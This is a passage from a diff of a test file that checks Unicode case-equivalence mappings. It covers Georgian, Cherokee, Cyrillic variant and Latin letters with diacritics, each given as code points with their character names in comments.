+test(0x10C4, 0x2D24); // GEORGIAN CAPITAL LETTER HAR, GEORGIAN SMALL LETTER HAR
+test(0x10C5, 0x2D25); // GEORGIAN CAPITAL LETTER HOE, GEORGIAN SMALL LETTER HOE
+test(0x10C7, 0x2D27); // GEORGIAN CAPITAL LETTER YN, GEORGIAN SMALL LETTER YN
+test(0x10CD, 0x2D2D); // GEORGIAN CAPITAL LETTER AEN, GEORGIAN SMALL LETTER AEN
+test(0x10D0, 0x1C90); // GEORGIAN LETTER AN (GEORGIAN SMALL LETTER AN), GEORGIAN MTAVRULI CAPITAL LETTER AN
+test(0x10D1, 0x1C91); // GEORGIAN LETTER BAN (GEORGIAN SMALL LETTER BAN), GEORGIAN MTAVRULI CAPITAL LETTER BAN
+test(0x10D2, 0x1C92); // GEORGIAN LETTER GAN (GEORGIAN SMALL LETTER GAN), GEORGIAN MTAVRULI CAPITAL LETTER GAN
+test(0x10D3, 0x1C93); // GEORGIAN LETTER DON (GEORGIAN SMALL LETTER DON), GEORGIAN MTAVRULI CAPITAL LETTER DON
+test(0x10D4, 0x1C94); // GEORGIAN LETTER EN (GEORGIAN SMALL LETTER EN), GEORGIAN MTAVRULI CAPITAL LETTER EN
+test(0x10D5, 0x1C95); // GEORGIAN LETTER VIN (GEORGIAN SMALL LETTER VIN), GEORGIAN MTAVRULI CAPITAL LETTER VIN
+test(0x10D6, 0x1C96); // GEORGIAN LETTER ZEN (GEORGIAN SMALL LETTER ZEN), GEORGIAN MTAVRULI CAPITAL LETTER ZEN
+test(0x10D7, 0x1C97); // GEORGIAN LETTER TAN (GEORGIAN SMALL LETTER TAN), GEORGIAN MTAVRULI CAPITAL LETTER TAN
+test(0x10D8, 0x1C98); // GEORGIAN LETTER IN (GEORGIAN SMALL LETTER IN), GEORGIAN MTAVRULI CAPITAL LETTER IN
+test(0x10D9, 0x1C99); // GEORGIAN LETTER KAN (GEORGIAN SMALL LETTER KAN), GEORGIAN MTAVRULI CAPITAL LETTER KAN
+test(0x10DA, 0x1C9A); // GEORGIAN LETTER LAS (GEORGIAN SMALL LETTER LAS), GEORGIAN MTAVRULI CAPITAL LETTER LAS
+test(0x10DB, 0x1C9B); // GEORGIAN LETTER MAN (GEORGIAN SMALL LETTER MAN), GEORGIAN MTAVRULI CAPITAL LETTER MAN
+test(0x10DC, 0x1C9C); // GEORGIAN LETTER NAR (GEORGIAN SMALL LETTER NAR), GEORGIAN MTAVRULI CAPITAL LETTER NAR
+test(0x10DD, 0x1C9D); // GEORGIAN LETTER ON (GEORGIAN SMALL LETTER ON), GEORGIAN MTAVRULI CAPITAL LETTER ON
+test(0x10DE, 0x1C9E); // GEORGIAN LETTER PAR (GEORGIAN SMALL LETTER PAR), GEORGIAN MTAVRULI CAPITAL LETTER PAR
+test(0x10DF, 0x1C9F); // GEORGIAN LETTER ZHAR (GEORGIAN SMALL LETTER ZHAR), GEORGIAN MTAVRULI CAPITAL LETTER ZHAR
+test(0x10E0, 0x1CA0); // GEORGIAN LETTER RAE (GEORGIAN SMALL LETTER RAE), GEORGIAN MTAVRULI CAPITAL LETTER RAE
+test(0x10E1, 0x1CA1); // GEORGIAN LETTER SAN (GEORGIAN SMALL LETTER SAN), GEORGIAN MTAVRULI CAPITAL LETTER SAN
+test(0x10E2, 0x1CA2); // GEORGIAN LETTER TAR (GEORGIAN SMALL LETTER TAR), GEORGIAN MTAVRULI CAPITAL LETTER TAR
+test(0x10E3, 0x1CA3); // GEORGIAN LETTER UN (GEORGIAN SMALL LETTER UN), GEORGIAN MTAVRULI CAPITAL LETTER UN
+test(0x10E4, 0x1CA4); // GEORGIAN LETTER PHAR (GEORGIAN SMALL LETTER PHAR), GEORGIAN MTAVRULI CAPITAL LETTER PHAR
+test(0x10E5, 0x1CA5); // GEORGIAN LETTER KHAR (GEORGIAN SMALL LETTER KHAR), GEORGIAN MTAVRULI CAPITAL LETTER KHAR
+test(0x10E6, 0x1CA6); // GEORGIAN LETTER GHAN (GEORGIAN SMALL LETTER GHAN), GEORGIAN MTAVRULI CAPITAL LETTER GHAN
+test(0x10E7, 0x1CA7); // GEORGIAN LETTER QAR (GEORGIAN SMALL LETTER QAR), GEORGIAN MTAVRULI CAPITAL LETTER QAR
+test(0x10E8, 0x1CA8); // GEORGIAN LETTER SHIN (GEORGIAN SMALL LETTER SHIN), GEORGIAN MTAVRULI CAPITAL LETTER SHIN
+test(0x10E9, 0x1CA9); // GEORGIAN LETTER CHIN (GEORGIAN SMALL LETTER CHIN), GEORGIAN MTAVRULI CAPITAL LETTER CHIN
+test(0x10EA, 0x1CAA); // GEORGIAN LETTER CAN (GEORGIAN SMALL LETTER CAN), GEORGIAN MTAVRULI CAPITAL LETTER CAN
+test(0x10EB, 0x1CAB); // GEORGIAN LETTER JIL (GEORGIAN SMALL LETTER JIL), GEORGIAN MTAVRULI CAPITAL LETTER JIL
+test(0x10EC, 0x1CAC); // GEORGIAN LETTER CIL (GEORGIAN SMALL LETTER CIL), GEORGIAN MTAVRULI CAPITAL LETTER CIL
+test(0x10ED, 0x1CAD); // GEORGIAN LETTER CHAR (GEORGIAN SMALL LETTER CHAR), GEORGIAN MTAVRULI CAPITAL LETTER CHAR
+test(0x10EE, 0x1CAE); // GEORGIAN LETTER XAN (GEORGIAN SMALL LETTER XAN), GEORGIAN MTAVRULI CAPITAL LETTER XAN
+test(0x10EF, 0x1CAF); // GEORGIAN LETTER JHAN (GEORGIAN SMALL LETTER JHAN), GEORGIAN MTAVRULI CAPITAL LETTER JHAN
+test(0x10F0, 0x1CB0); // GEORGIAN LETTER HAE (GEORGIAN SMALL LETTER HAE), GEORGIAN MTAVRULI CAPITAL LETTER HAE
+test(0x10F1, 0x1CB1); // GEORGIAN LETTER HE (GEORGIAN SMALL LETTER HE), GEORGIAN MTAVRULI CAPITAL LETTER HE
+test(0x10F2, 0x1CB2); // GEORGIAN LETTER HIE (GEORGIAN SMALL LETTER HIE), GEORGIAN MTAVRULI CAPITAL LETTER HIE
+test(0x10F3, 0x1CB3); // GEORGIAN LETTER WE (GEORGIAN SMALL LETTER WE), GEORGIAN MTAVRULI CAPITAL LETTER WE
+test(0x10F4, 0x1CB4); // GEORGIAN LETTER HAR (GEORGIAN SMALL LETTER HAR), GEORGIAN MTAVRULI CAPITAL LETTER HAR
+test(0x10F5, 0x1CB5); // GEORGIAN LETTER HOE (GEORGIAN SMALL LETTER HOE), GEORGIAN MTAVRULI CAPITAL LETTER HOE
+test(0x10F6, 0x1CB6); // GEORGIAN LETTER FI (GEORGIAN SMALL LETTER FI), GEORGIAN MTAVRULI CAPITAL LETTER FI
+test(0x10F7, 0x1CB7); // GEORGIAN LETTER YN, GEORGIAN MTAVRULI CAPITAL LETTER YN
+test(0x10F8, 0x1CB8); // GEORGIAN LETTER ELIFI, GEORGIAN MTAVRULI CAPITAL LETTER ELIFI
+test(0x10F9, 0x1CB9); // GEORGIAN LETTER TURNED GAN, GEORGIAN MTAVRULI CAPITAL LETTER TURNED GAN
+test(0x10FA, 0x1CBA); // GEORGIAN LETTER AIN, GEORGIAN MTAVRULI CAPITAL LETTER AIN
+test(0x10FD, 0x1CBD); // GEORGIAN LETTER AEN, GEORGIAN MTAVRULI CAPITAL LETTER AEN
+test(0x10FE, 0x1CBE); // GEORGIAN LETTER HARD SIGN, GEORGIAN MTAVRULI CAPITAL LETTER HARD SIGN
+test(0x10FF, 0x1CBF); // GEORGIAN LETTER LABIAL SIGN, GEORGIAN MTAVRULI CAPITAL LETTER LABIAL SIGN
+test(0x13A0, 0xAB70); // CHEROKEE LETTER A, CHEROKEE SMALL LETTER A
+test(0x13A1, 0xAB71); // CHEROKEE LETTER E, CHEROKEE SMALL LETTER E
+test(0x13A2, 0xAB72); // CHEROKEE LETTER I, CHEROKEE SMALL LETTER I
+test(0x13A3, 0xAB73); // CHEROKEE LETTER O, CHEROKEE SMALL LETTER O
+test(0x13A4, 0xAB74); // CHEROKEE LETTER U, CHEROKEE SMALL LETTER U
+test(0x13A5, 0xAB75); // CHEROKEE LETTER V, CHEROKEE SMALL LETTER V
+test(0x13A6, 0xAB76); // CHEROKEE LETTER GA, CHEROKEE SMALL LETTER GA
+test(0x13A7, 0xAB77); // CHEROKEE LETTER KA, CHEROKEE SMALL LETTER KA
+test(0x13A8, 0xAB78); // CHEROKEE LETTER GE, CHEROKEE SMALL LETTER GE
+test(0x13A9, 0xAB79); // CHEROKEE LETTER GI, CHEROKEE SMALL LETTER GI
+test(0x13AA, 0xAB7A); // CHEROKEE LETTER GO, CHEROKEE SMALL LETTER GO
+test(0x13AB, 0xAB7B); // CHEROKEE LETTER GU, CHEROKEE SMALL LETTER GU
+test(0x13AC, 0xAB7C); // CHEROKEE LETTER GV, CHEROKEE SMALL LETTER GV
+test(0x13AD, 0xAB7D); // CHEROKEE LETTER HA, CHEROKEE SMALL LETTER HA
+test(0x13AE, 0xAB7E); // CHEROKEE LETTER HE, CHEROKEE SMALL LETTER HE
+test(0x13AF, 0xAB7F); // CHEROKEE LETTER HI, CHEROKEE SMALL LETTER HI
+test(0x13B0, 0xAB80); // CHEROKEE LETTER HO, CHEROKEE SMALL LETTER HO
+test(0x13B1, 0xAB81); // CHEROKEE LETTER HU, CHEROKEE SMALL LETTER HU
+test(0x13B2, 0xAB82); // CHEROKEE LETTER HV, CHEROKEE SMALL LETTER HV
+test(0x13B3, 0xAB83); // CHEROKEE LETTER LA, CHEROKEE SMALL LETTER LA
+test(0x13B4, 0xAB84); // CHEROKEE LETTER LE, CHEROKEE SMALL LETTER LE
+test(0x13B5, 0xAB85); // CHEROKEE LETTER LI, CHEROKEE SMALL LETTER LI
+test(0x13B6, 0xAB86); // CHEROKEE LETTER LO, CHEROKEE SMALL LETTER LO
+test(0x13B7, 0xAB87); // CHEROKEE LETTER LU, CHEROKEE SMALL LETTER LU
+test(0x13B8, 0xAB88); // CHEROKEE LETTER LV, CHEROKEE SMALL LETTER LV
+test(0x13B9, 0xAB89); // CHEROKEE LETTER MA, CHEROKEE SMALL LETTER MA
+test(0x13BA, 0xAB8A); // CHEROKEE LETTER ME, CHEROKEE SMALL LETTER ME
+test(0x13BB, 0xAB8B); // CHEROKEE LETTER MI, CHEROKEE SMALL LETTER MI
+test(0x13BC, 0xAB8C); // CHEROKEE LETTER MO, CHEROKEE SMALL LETTER MO
+test(0x13BD, 0xAB8D); // CHEROKEE LETTER MU, CHEROKEE SMALL LETTER MU
+test(0x13BE, 0xAB8E); // CHEROKEE LETTER NA, CHEROKEE SMALL LETTER NA
+test(0x13BF, 0xAB8F); // CHEROKEE LETTER HNA, CHEROKEE SMALL LETTER HNA
+test(0x13C0, 0xAB90); // CHEROKEE LETTER NAH, CHEROKEE SMALL LETTER NAH
+test(0x13C1, 0xAB91); // CHEROKEE LETTER NE, CHEROKEE SMALL LETTER NE
+test(0x13C2, 0xAB92); // CHEROKEE LETTER NI, CHEROKEE SMALL LETTER NI
+test(0x13C3, 0xAB93); // CHEROKEE LETTER NO, CHEROKEE SMALL LETTER NO
+test(0x13C4, 0xAB94); // CHEROKEE LETTER NU, CHEROKEE SMALL LETTER NU
+test(0x13C5, 0xAB95); // CHEROKEE LETTER NV, CHEROKEE SMALL LETTER NV
+test(0x13C6, 0xAB96); // CHEROKEE LETTER QUA, CHEROKEE SMALL LETTER QUA
+test(0x13C7, 0xAB97); // CHEROKEE LETTER QUE, CHEROKEE SMALL LETTER QUE
+test(0x13C8, 0xAB98); // CHEROKEE LETTER QUI, CHEROKEE SMALL LETTER QUI
+test(0x13C9, 0xAB99); // CHEROKEE LETTER QUO, CHEROKEE SMALL LETTER QUO
+test(0x13CA, 0xAB9A); // CHEROKEE LETTER QUU, CHEROKEE SMALL LETTER QUU
+test(0x13CB, 0xAB9B); // CHEROKEE LETTER QUV, CHEROKEE SMALL LETTER QUV
+test(0x13CC, 0xAB9C); // CHEROKEE LETTER SA, CHEROKEE SMALL LETTER SA
+test(0x13CD, 0xAB9D); // CHEROKEE LETTER S, CHEROKEE SMALL LETTER S
+test(0x13CE, 0xAB9E); // CHEROKEE LETTER SE, CHEROKEE SMALL LETTER SE
+test(0x13CF, 0xAB9F); // CHEROKEE LETTER SI, CHEROKEE SMALL LETTER SI
+test(0x13D0, 0xABA0); // CHEROKEE LETTER SO, CHEROKEE SMALL LETTER SO
+test(0x13D1, 0xABA1); // CHEROKEE LETTER SU, CHEROKEE SMALL LETTER SU
+test(0x13D2, 0xABA2); // CHEROKEE LETTER SV, CHEROKEE SMALL LETTER SV
+test(0x13D3, 0xABA3); // CHEROKEE LETTER DA, CHEROKEE SMALL LETTER DA
+test(0x13D4, 0xABA4); // CHEROKEE LETTER TA, CHEROKEE SMALL LETTER TA
+test(0x13D5, 0xABA5); // CHEROKEE LETTER DE, CHEROKEE SMALL LETTER DE
+test(0x13D6, 0xABA6); // CHEROKEE LETTER TE, CHEROKEE SMALL LETTER TE
+test(0x13D7, 0xABA7); // CHEROKEE LETTER DI, CHEROKEE SMALL LETTER DI
+test(0x13D8, 0xABA8); // CHEROKEE LETTER TI, CHEROKEE SMALL LETTER TI
+test(0x13D9, 0xABA9); // CHEROKEE LETTER DO, CHEROKEE SMALL LETTER DO
+test(0x13DA, 0xABAA); // CHEROKEE LETTER DU, CHEROKEE SMALL LETTER DU
+test(0x13DB, 0xABAB); // CHEROKEE LETTER DV, CHEROKEE SMALL LETTER DV
+test(0x13DC, 0xABAC); // CHEROKEE LETTER DLA, CHEROKEE SMALL LETTER DLA
+test(0x13DD, 0xABAD); // CHEROKEE LETTER TLA, CHEROKEE SMALL LETTER TLA
+test(0x13DE, 0xABAE); // CHEROKEE LETTER TLE, CHEROKEE SMALL LETTER TLE
+test(0x13DF, 0xABAF); // CHEROKEE LETTER TLI, CHEROKEE SMALL LETTER TLI
+test(0x13E0, 0xABB0); // CHEROKEE LETTER TLO, CHEROKEE SMALL LETTER TLO
+test(0x13E1, 0xABB1); // CHEROKEE LETTER TLU, CHEROKEE SMALL LETTER TLU
+test(0x13E2, 0xABB2); // CHEROKEE LETTER TLV, CHEROKEE SMALL LETTER TLV
+test(0x13E3, 0xABB3); // CHEROKEE LETTER TSA, CHEROKEE SMALL LETTER TSA
+test(0x13E4, 0xABB4); // CHEROKEE LETTER TSE, CHEROKEE SMALL LETTER TSE
+test(0x13E5, 0xABB5); // CHEROKEE LETTER TSI, CHEROKEE SMALL LETTER TSI
+test(0x13E6, 0xABB6); // CHEROKEE LETTER TSO, CHEROKEE SMALL LETTER TSO
+test(0x13E7, 0xABB7); // CHEROKEE LETTER TSU, CHEROKEE SMALL LETTER TSU
+test(0x13E8, 0xABB8); // CHEROKEE LETTER TSV, CHEROKEE SMALL LETTER TSV
+test(0x13E9, 0xABB9); // CHEROKEE LETTER WA, CHEROKEE SMALL LETTER WA
+test(0x13EA, 0xABBA); // CHEROKEE LETTER WE, CHEROKEE SMALL LETTER WE
+test(0x13EB, 0xABBB); // CHEROKEE LETTER WI, CHEROKEE SMALL LETTER WI
+test(0x13EC, 0xABBC); // CHEROKEE LETTER WO, CHEROKEE SMALL LETTER WO
+test(0x13ED, 0xABBD); // CHEROKEE LETTER WU, CHEROKEE SMALL LETTER WU
+test(0x13EE, 0xABBE); // CHEROKEE LETTER WV, CHEROKEE SMALL LETTER WV
+test(0x13EF, 0xABBF); // CHEROKEE LETTER YA, CHEROKEE SMALL LETTER YA
+test(0x13F0, 0x13F8); // CHEROKEE LETTER YE, CHEROKEE SMALL LETTER YE
+test(0x13F1, 0x13F9); // CHEROKEE LETTER YI, CHEROKEE SMALL LETTER YI
+test(0x13F2, 0x13FA); // CHEROKEE LETTER YO, CHEROKEE SMALL LETTER YO
+test(0x13F3, 0x13FB); // CHEROKEE LETTER YU, CHEROKEE SMALL LETTER YU
+test(0x13F4, 0x13FC); // CHEROKEE LETTER YV, CHEROKEE SMALL LETTER YV
+test(0x13F5, 0x13FD); // CHEROKEE LETTER MV, CHEROKEE SMALL LETTER MV
+test(0x13F8, 0x13F0); // CHEROKEE SMALL LETTER YE, CHEROKEE LETTER YE
+test(0x13F9, 0x13F1); // CHEROKEE SMALL LETTER YI, CHEROKEE LETTER YI
+test(0x13FA, 0x13F2); // CHEROKEE SMALL LETTER YO, CHEROKEE LETTER YO
+test(0x13FB, 0x13F3); // CHEROKEE SMALL LETTER YU, CHEROKEE LETTER YU
+test(0x13FC, 0x13F4); // CHEROKEE SMALL LETTER YV, CHEROKEE LETTER YV
+test(0x13FD, 0x13F5); // CHEROKEE SMALL LETTER MV, CHEROKEE LETTER MV
+test(0x1C80, 0x0432, 0x0412); // CYRILLIC SMALL LETTER ROUNDED VE, CYRILLIC SMALL LETTER VE, CYRILLIC CAPITAL LETTER VE
+test(0x1C81, 0x0434, 0x0414); // CYRILLIC SMALL LETTER LONG-LEGGED DE, CYRILLIC SMALL LETTER DE, CYRILLIC CAPITAL LETTER DE
+test(0x1C82, 0x043E, 0x041E); // CYRILLIC SMALL LETTER NARROW O, CYRILLIC SMALL LETTER O, CYRILLIC CAPITAL LETTER O
+test(0x1C83, 0x0441, 0x0421); // CYRILLIC SMALL LETTER WIDE ES, CYRILLIC SMALL LETTER ES, CYRILLIC CAPITAL LETTER ES
+test(0x1C84, 0x0442, 0x0422, 0x1C85); // CYRILLIC SMALL LETTER TALL TE, CYRILLIC SMALL LETTER TE, CYRILLIC CAPITAL LETTER TE, CYRILLIC SMALL LETTER THREE-LEGGED TE
+test(0x1C85, 0x0442, 0x0422, 0x1C84); // CYRILLIC SMALL LETTER THREE-LEGGED TE, CYRILLIC SMALL LETTER TE, CYRILLIC CAPITAL LETTER TE, CYRILLIC SMALL LETTER TALL TE
+test(0x1C86, 0x044A, 0x042A); // CYRILLIC SMALL LETTER TALL HARD SIGN, CYRILLIC SMALL LETTER HARD SIGN, CYRILLIC CAPITAL LETTER HARD SIGN
+test(0x1C87, 0x0463, 0x0462); // CYRILLIC SMALL LETTER TALL YAT, CYRILLIC SMALL LETTER YAT, CYRILLIC CAPITAL LETTER YAT
+test(0x1C88, 0xA64B, 0xA64A); // CYRILLIC SMALL LETTER UNBLENDED UK, CYRILLIC SMALL LETTER MONOGRAPH UK, CYRILLIC CAPITAL LETTER MONOGRAPH UK
+test(0x1C90, 0x10D0); // GEORGIAN MTAVRULI CAPITAL LETTER AN, GEORGIAN LETTER AN (GEORGIAN SMALL LETTER AN)
+test(0x1C91, 0x10D1); // GEORGIAN MTAVRULI CAPITAL LETTER BAN, GEORGIAN LETTER BAN (GEORGIAN SMALL LETTER BAN)
+test(0x1C92, 0x10D2); // GEORGIAN MTAVRULI CAPITAL LETTER GAN, GEORGIAN LETTER GAN (GEORGIAN SMALL LETTER GAN)
+test(0x1C93, 0x10D3); // GEORGIAN MTAVRULI CAPITAL LETTER DON, GEORGIAN LETTER DON (GEORGIAN SMALL LETTER DON)
+test(0x1C94, 0x10D4); // GEORGIAN MTAVRULI CAPITAL LETTER EN, GEORGIAN LETTER EN (GEORGIAN SMALL LETTER EN)
+test(0x1C95, 0x10D5); // GEORGIAN MTAVRULI CAPITAL LETTER VIN, GEORGIAN LETTER VIN (GEORGIAN SMALL LETTER VIN)
+test(0x1C96, 0x10D6); // GEORGIAN MTAVRULI CAPITAL LETTER ZEN, GEORGIAN LETTER ZEN (GEORGIAN SMALL LETTER ZEN)
+test(0x1C97, 0x10D7); // GEORGIAN MTAVRULI CAPITAL LETTER TAN, GEORGIAN LETTER TAN (GEORGIAN SMALL LETTER TAN)
+test(0x1C98, 0x10D8); // GEORGIAN MTAVRULI CAPITAL LETTER IN, GEORGIAN LETTER IN (GEORGIAN SMALL LETTER IN)
+test(0x1C99, 0x10D9); // GEORGIAN MTAVRULI CAPITAL LETTER KAN, GEORGIAN LETTER KAN (GEORGIAN SMALL LETTER KAN)
+test(0x1C9A, 0x10DA); // GEORGIAN MTAVRULI CAPITAL LETTER LAS, GEORGIAN LETTER LAS (GEORGIAN SMALL LETTER LAS)
+test(0x1C9B, 0x10DB); // GEORGIAN MTAVRULI CAPITAL LETTER MAN, GEORGIAN LETTER MAN (GEORGIAN SMALL LETTER MAN)
+test(0x1C9C, 0x10DC); // GEORGIAN MTAVRULI CAPITAL LETTER NAR, GEORGIAN LETTER NAR (GEORGIAN SMALL LETTER NAR)
+test(0x1C9D, 0x10DD); // GEORGIAN MTAVRULI CAPITAL LETTER ON, GEORGIAN LETTER ON (GEORGIAN SMALL LETTER ON)
+test(0x1C9E, 0x10DE); // GEORGIAN MTAVRULI CAPITAL LETTER PAR, GEORGIAN LETTER PAR (GEORGIAN SMALL LETTER PAR)
+test(0x1C9F, 0x10DF); // GEORGIAN MTAVRULI CAPITAL LETTER ZHAR, GEORGIAN LETTER ZHAR (GEORGIAN SMALL LETTER ZHAR)
+test(0x1CA0, 0x10E0); // GEORGIAN MTAVRULI CAPITAL LETTER RAE, GEORGIAN LETTER RAE (GEORGIAN SMALL LETTER RAE)
+test(0x1CA1, 0x10E1); // GEORGIAN MTAVRULI CAPITAL LETTER SAN, GEORGIAN LETTER SAN (GEORGIAN SMALL LETTER SAN)
+test(0x1CA2, 0x10E2); // GEORGIAN MTAVRULI CAPITAL LETTER TAR, GEORGIAN LETTER TAR (GEORGIAN SMALL LETTER TAR)
+test(0x1CA3, 0x10E3); // GEORGIAN MTAVRULI CAPITAL LETTER UN, GEORGIAN LETTER UN (GEORGIAN SMALL LETTER UN)
+test(0x1CA4, 0x10E4); // GEORGIAN MTAVRULI CAPITAL LETTER PHAR, GEORGIAN LETTER PHAR (GEORGIAN SMALL LETTER PHAR)
+test(0x1CA5, 0x10E5); // GEORGIAN MTAVRULI CAPITAL LETTER KHAR, GEORGIAN LETTER KHAR (GEORGIAN SMALL LETTER KHAR)
+test(0x1CA6, 0x10E6); // GEORGIAN MTAVRULI CAPITAL LETTER GHAN, GEORGIAN LETTER GHAN (GEORGIAN SMALL LETTER GHAN)
+test(0x1CA7, 0x10E7); // GEORGIAN MTAVRULI CAPITAL LETTER QAR, GEORGIAN LETTER QAR (GEORGIAN SMALL LETTER QAR)
+test(0x1CA8, 0x10E8); // GEORGIAN MTAVRULI CAPITAL LETTER SHIN, GEORGIAN LETTER SHIN (GEORGIAN SMALL LETTER SHIN)
+test(0x1CA9, 0x10E9); // GEORGIAN MTAVRULI CAPITAL LETTER CHIN, GEORGIAN LETTER CHIN (GEORGIAN SMALL LETTER CHIN)
+test(0x1CAA, 0x10EA); // GEORGIAN MTAVRULI CAPITAL LETTER CAN, GEORGIAN LETTER CAN (GEORGIAN SMALL LETTER CAN)
+test(0x1CAB, 0x10EB); // GEORGIAN MTAVRULI CAPITAL LETTER JIL, GEORGIAN LETTER JIL (GEORGIAN SMALL LETTER JIL)
+test(0x1CAC, 0x10EC); // GEORGIAN MTAVRULI CAPITAL LETTER CIL, GEORGIAN LETTER CIL (GEORGIAN SMALL LETTER CIL)
+test(0x1CAD, 0x10ED); // GEORGIAN MTAVRULI CAPITAL LETTER CHAR, GEORGIAN LETTER CHAR (GEORGIAN SMALL LETTER CHAR)
+test(0x1CAE, 0x10EE); // GEORGIAN MTAVRULI CAPITAL LETTER XAN, GEORGIAN LETTER XAN (GEORGIAN SMALL LETTER XAN)
+test(0x1CAF, 0x10EF); // GEORGIAN MTAVRULI CAPITAL LETTER JHAN, GEORGIAN LETTER JHAN (GEORGIAN SMALL LETTER JHAN)
+test(0x1CB0, 0x10F0); // GEORGIAN MTAVRULI CAPITAL LETTER HAE, GEORGIAN LETTER HAE (GEORGIAN SMALL LETTER HAE)
+test(0x1CB1, 0x10F1); // GEORGIAN MTAVRULI CAPITAL LETTER HE, GEORGIAN LETTER HE (GEORGIAN SMALL LETTER HE)
+test(0x1CB2, 0x10F2); // GEORGIAN MTAVRULI CAPITAL LETTER HIE, GEORGIAN LETTER HIE (GEORGIAN SMALL LETTER HIE)
+test(0x1CB3, 0x10F3); // GEORGIAN MTAVRULI CAPITAL LETTER WE, GEORGIAN LETTER WE (GEORGIAN SMALL LETTER WE)
+test(0x1CB4, 0x10F4); // GEORGIAN MTAVRULI CAPITAL LETTER HAR, GEORGIAN LETTER HAR (GEORGIAN SMALL LETTER HAR)
+test(0x1CB5, 0x10F5); // GEORGIAN MTAVRULI CAPITAL LETTER HOE, GEORGIAN LETTER HOE (GEORGIAN SMALL LETTER HOE)
+test(0x1CB6, 0x10F6); // GEORGIAN MTAVRULI CAPITAL LETTER FI, GEORGIAN LETTER FI (GEORGIAN SMALL LETTER FI)
+test(0x1CB7, 0x10F7); // GEORGIAN MTAVRULI CAPITAL LETTER YN, GEORGIAN LETTER YN
+test(0x1CB8, 0x10F8); // GEORGIAN MTAVRULI CAPITAL LETTER ELIFI, GEORGIAN LETTER ELIFI
+test(0x1CB9, 0x10F9); // GEORGIAN MTAVRULI CAPITAL LETTER TURNED GAN, GEORGIAN LETTER TURNED GAN
+test(0x1CBA, 0x10FA); // GEORGIAN MTAVRULI CAPITAL LETTER AIN, GEORGIAN LETTER AIN
+test(0x1CBD, 0x10FD); // GEORGIAN MTAVRULI CAPITAL LETTER AEN, GEORGIAN LETTER AEN
+test(0x1CBE, 0x10FE); // GEORGIAN MTAVRULI CAPITAL LETTER HARD SIGN, GEORGIAN LETTER HARD SIGN
+test(0x1CBF, 0x10FF); // GEORGIAN MTAVRULI CAPITAL LETTER LABIAL SIGN, GEORGIAN LETTER LABIAL SIGN
+test(0x1D79, 0xA77D); // LATIN SMALL LETTER INSULAR G, LATIN CAPITAL LETTER INSULAR G
+test(0x1D7D, 0x2C63); // LATIN SMALL LETTER P WITH STROKE, LATIN CAPITAL LETTER P WITH STROKE
+test(0x1D8E, 0xA7C6); // LATIN SMALL LETTER Z WITH PALATAL HOOK, LATIN CAPITAL LETTER Z WITH PALATAL HOOK
+test(0x1E00, 0x1E01); // LATIN CAPITAL LETTER A WITH RING BELOW, LATIN SMALL LETTER A WITH RING BELOW
+test(0x1E01, 0x1E00); // LATIN SMALL LETTER A WITH RING BELOW, LATIN CAPITAL LETTER A WITH RING BELOW
+test(0x1E02, 0x1E03); // LATIN CAPITAL LETTER B WITH DOT ABOVE, LATIN SMALL LETTER B WITH DOT ABOVE
+test(0x1E03, 0x1E02); // LATIN SMALL LETTER B WITH DOT ABOVE, LATIN CAPITAL LETTER B WITH DOT ABOVE
+test(0x1E04, 0x1E05); // LATIN CAPITAL LETTER B WITH DOT BELOW, LATIN SMALL LETTER B WITH DOT BELOW
+test(0x1E05, 0x1E04); // LATIN SMALL LETTER B WITH DOT BELOW, LATIN CAPITAL LETTER B WITH DOT BELOW
+test(0x1E06, 0x1E07); // LATIN CAPITAL LETTER B WITH LINE BELOW, LATIN SMALL LETTER B WITH LINE BELOW
+test(0x1E07, 0x1E06); // LATIN SMALL LETTER B WITH LINE BELOW, LATIN CAPITAL LETTER B WITH LINE BELOW
+test(0x1E08, 0x1E09); // LATIN CAPITAL LETTER C WITH CEDILLA AND ACUTE, LATIN SMALL LETTER C WITH CEDILLA AND ACUTE
+test(0x1E09, 0x1E08); // LATIN SMALL LETTER C WITH CEDILLA AND ACUTE, LATIN CAPITAL LETTER C WITH CEDILLA AND ACUTE
+test(0x1E0A, 0x1E0B); // LATIN CAPITAL LETTER D WITH DOT ABOVE, LATIN SMALL LETTER D WITH DOT ABOVE
+test(0x1E0B, 0x1E0A); // LATIN SMALL LETTER D WITH DOT ABOVE, LATIN CAPITAL LETTER D WITH DOT ABOVE
+test(0x1E0C, 0x1E0D); // LATIN CAPITAL LETTER D WITH DOT BELOW, LATIN SMALL LETTER D WITH DOT BELOW
+test(0x1E0D, 0x1E0C); // LATIN SMALL LETTER D WITH DOT BELOW, LATIN CAPITAL LETTER D WITH DOT BELOW
+test(0x1E0E, 0x1E0F); // LATIN CAPITAL LETTER D WITH LINE BELOW, LATIN SMALL LETTER D WITH LINE BELOW
+test(0x1E0F, 0x1E0E); // LATIN SMALL LETTER D WITH LINE BELOW, LATIN CAPITAL LETTER D WITH LINE BELOW
+test(0x1E10, 0x1E11); // LATIN CAPITAL LETTER D WITH CEDILLA, LATIN SMALL LETTER D WITH CEDILLA
+test(0x1E11, 0x1E10); // LATIN SMALL LETTER D WITH CEDILLA, LATIN CAPITAL LETTER D WITH CEDILLA
+test(0x1E12, 0x1E13); // LATIN CAPITAL LETTER D WITH CIRCUMFLEX BELOW, LATIN SMALL LETTER D WITH CIRCUMFLEX BELOW
+test(0x1E13, 0x1E12); // LATIN SMALL LETTER D WITH CIRCUMFLEX BELOW, LATIN CAPITAL LETTER D WITH CIRCUMFLEX BELOW
+test(0x1E14, 0x1E15); // LATIN CAPITAL LETTER E WITH MACRON AND GRAVE, LATIN SMALL LETTER E WITH MACRON AND GRAVE
+test(0x1E15, 0x1E14); // LATIN SMALL LETTER E WITH MACRON AND GRAVE, LATIN CAPITAL LETTER E WITH MACRON AND GRAVE
+test(0x1E16, 0x1E17); // LATIN CAPITAL LETTER E WITH MACRON AND ACUTE, LATIN SMALL LETTER E WITH MACRON AND ACUTE
+test(0x1E17, 0x1E16); // LATIN SMALL LETTER E WITH MACRON AND ACUTE, LATIN CAPITAL LETTER E WITH MACRON AND ACUTE
+test(0x1E18, 0x1E19); // LATIN CAPITAL LETTER E WITH CIRCUMFLEX BELOW, LATIN SMALL LETTER E WITH CIRCUMFLEX BELOW
+test(0x1E19, 0x1E18); // LATIN SMALL LETTER E WITH CIRCUMFLEX BELOW, LATIN CAPITAL LETTER E WITH CIRCUMFLEX BELOW
+test(0x1E1A, 0x1E1B); // LATIN CAPITAL LETTER E WITH TILDE BELOW, LATIN SMALL LETTER E WITH TILDE BELOW
